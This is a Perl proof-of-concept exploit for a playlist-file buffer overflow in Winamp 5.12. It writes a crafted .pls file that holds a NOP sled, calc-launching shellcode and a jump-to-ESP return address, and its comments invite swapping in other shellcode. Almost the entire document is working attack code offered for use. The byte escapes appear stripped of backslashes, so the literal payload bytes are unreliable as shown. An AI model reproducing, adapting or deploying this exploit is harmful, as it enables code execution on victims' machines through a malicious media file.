#!/usr/bin/perl -w
# ===============================================================================================
# Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
# By Umesh Wanve (umesh_345@yahoo.com)
# ===========================================================================================================================
# Credits : ATmaCA is credited with the discovery of this vulnerability.
#
# Date : 07-03-2007
#
# Tested on Windows 2000 SP4 Server English
# Windows 2000 SP4 Professional English
#
# You can replace shellcode with your favourite one :)
#
#
# Buffer = \"x90 x 1023\" + EIP
#
# Desc: you cant put shellcode after EIP. No more space after this. The winamp simply crashes. When you debug it, you will see that
# shellcode is 304 bytes away from ESP. So jump to esp + 304 should work. Find such address if u can.
#
#
# This was written for educational purpose. Use it at your own risk.Author will be not be responsible for any damage.
#
#
#============================================================================================================================
#jump to shellcode
$jmp=\"x61xD9x02x02\".
\"x83xECx34\".
\"x83xECx70\".
\"xFFxE4\";
#x83xECx34 add esp ,34
#xFFxE4 jump esp
$nop=\"x90\" x 856;
$start= \"[playlist]
File1=\\\\\";
$end=\"
Title1=Winamp Exploit by Umesh
Length1=512
NumberOfEntries=1
Version=2
\";
#open calc.exe
$shellcode =
\"x54x50x53x50x29xc9x83xe9xdexe8xffxffxffxffxc0x5ex81x76x0ex02\".
\"xddx0ex4dx83xeexfcxe2xf4xfex35x4ax4dx02xddx85x08x3ex56x72x48\".
\"x7axdcxe1xc6x4dxc5x85x12x22xdcxe5x04x89xe9x85x4cxecxecxcexd4\".
\"xaex59xcex39x05x1cxc4x40x03x1fxe5xb9x39x89x2ax49x77x38x85x12\".
\"x26xdcxe5x2bx89xd1x45xc6x5dxc1x0fxa6x89xc1x85x4cxe9x54x52x69\".
\"x06x1ex3fx8dx66x56x4ex7dx87x1dx76x41x89x9dx02xc6x72xc1xa3xc6\".
\"x6axd5xe5x44x89x5dxbex4dx02xddx85x25x3ex82x3fxbbx62x8bx87xb5\".
\"x81x1dx75x1dx6axa3xd6xafx71xb5x96xb3x88xd3x59xb2xe5xbex6fx21\".
\"x61xddx0ex4d\";
open (MYFILE, \'>>poc.pls\');
print MYFILE $start;
print MYFILE $nop; #856
print MYFILE $shellcode; #165
print MYFILE \"xCCxCC\"; #2 bytes
print MYFILE $jmp; # EIP
print MYFILE \"x90x90x90x90\";
print MYFILE $end;
close (MYFILE);
##############################################################################################3
暂无评论